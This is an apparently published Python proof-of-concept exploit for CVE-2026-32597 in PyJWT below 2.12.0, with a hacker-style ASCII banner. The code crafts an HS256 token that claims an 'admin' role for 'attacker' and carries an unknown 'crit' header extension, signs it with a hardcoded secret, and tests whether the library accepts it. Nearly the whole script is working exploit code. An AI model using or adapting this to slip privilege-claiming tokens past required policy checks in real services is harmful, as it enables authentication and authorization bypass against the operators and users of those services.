#!/usr/bin/env python3
# Exploit Title: PyJWT < 2.12.0 crit header bypass / Insufficient crit validation
# CVE: CVE-2026-32597
# Date: 2026-03
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://github.com/jpadilla/pyjwt
# Software Link: https://pypi.org/project/PyJWT/
# Affected: PyJWT < 2.12.0
# Tested on:
# Category: Authentication Bypass
# Platform: Python
# Exploit Type: Proof of Concept
# CVSS: 7.5
# CWE : CWE-345, CWE-863
# Description: PyJWT does not reject JWTs containing unknown critical header parameters (crit)
# Fixed in: PyJWT 2.12.0
# Usage:
# python3 exploit.py
#
# Examples:
# python3 exploit.py
#
# Notes: Demonstrates acceptance of token with unknown critical extension
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║
║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║
║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║
║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║
║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║
║ ║
║ b a n y a m e r _ s e c u r i t y ║
║ ║
║ >>> Silent Hunter • Shadow Presence <<< ║
║ ║
║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ CVE-2026-32597 • PyJWT crit header bypass ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import jwt
import hmac
import hashlib
import base64
import json
def b64url_encode(data):
if isinstance(data, str):
data = data.encode('utf-8')
encoded = base64.urlsafe_b64encode(data).rstrip(b'=')
return encoded.decode('utf-8')
header = {
"alg": "HS256",
"crit": ["x-custom-policy"],
"x-custom-policy": "require-mfa-and-binding"
}
payload = {
"sub": "attacker",
"role": "admin",
"exp": 9999999999
}
secret = b"secret-key"
header_str = json.dumps(header, separators=(',', ':'))
payload_str = json.dumps(payload, separators=(',', ':'))
h = b64url_encode(header_str)
p = b64url_encode(payload_str)
signing_input = f"{h}.{p}".encode('utf-8')
signature = hmac.new(secret, signing_input, hashlib.sha256).digest()
sig = b64url_encode(signature)
malicious_token = f"{h}.{p}.{sig}"
print("Generated malicious token:")
print(malicious_token)
print("\n")
print("Decoding with PyJWT (vulnerable versions accept this token):")
try:
decoded = jwt.decode(
malicious_token,
secret,
algorithms=["HS256"],
options={"verify_signature": True}
)
print("TOKEN ACCEPTED (vulnerable behavior):")
print(decoded)
except jwt.exceptions.InvalidTokenError as e:
print("TOKEN REJECTED (correct / patched behavior):")
print(e)
except Exception as e:
print("Unexpected error:")
print(e)
